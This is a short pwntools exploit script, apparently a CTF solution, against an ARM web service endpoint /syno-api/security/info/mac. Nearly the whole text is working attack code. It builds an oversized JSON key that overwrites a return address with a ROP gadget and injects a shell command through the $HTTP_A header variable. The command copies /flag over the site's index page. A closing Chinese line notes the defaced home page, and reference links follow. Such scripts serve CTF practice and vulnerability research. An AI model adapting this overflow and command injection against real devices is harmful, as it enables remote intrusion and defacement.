1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(arch='arm' , os='linux' , log_level='debug' ) li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) lg = lambda x : print ('\033[32m' + str (x) + '\033[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] ip = '127.0.0.1' port = 8801 r = remote(ip, port) binary_base = 0x400000 gadget = 0x14D5c + binary_base cmd = b'$HTTP_A' cmd = cmd.ljust(8 , b';' ) p1 = b'a ' + b'b' * (0x60 + 0x24 - 8 ) + cmd + b'\u005c\u004d\u0041' value = b'""' json = b'{"' + p1 + b'": ""}' li(json) rn = b'\r\n' p3 = b'' p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn p3 += (b"Content-Length: %d" % len (json)) +rn p3 += b'Host: 127.0.0.1:8801' + rn p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn p3 += b'A: cp /flag /www/index.html' + rn p3 += b'Accept: text/plain, */*; q=0.01' + rn p3 += b'Content-Type: application/json' + rn p3 += b'X-Requested-With: XMLHttpRequest' + rn p3 += b'sec-ch-ua-mobile: ?0' + rn p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn p3 += b'sec-ch-ua-platform: "macOS"' + rn p3 += b'Origin: http://127.0.0.1:8801' + rn p3 += b'Sec-Fetch-Site: same-origin' + rn p3 += b'Sec-Fetch-Mode: cors' + rn p3 += b'Sec-Fetch-Dest: empty' + rn p3 += b'Referer: http://127.0.0.1:8801/' + rn p3 += b'Accept-Encoding: gzip, deflate' + rn p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn p3 += b'Connection: close' + rn p3 += rn p3 += json li('[+] sendling payload' ) r.send(p3) r.interactive()
重新访问就可以看到主页被篡改
Reference https://eqqie.cn/index.php/archives/2076
https://blog.csdn.net/tuzhutuzhu/article/details/23705485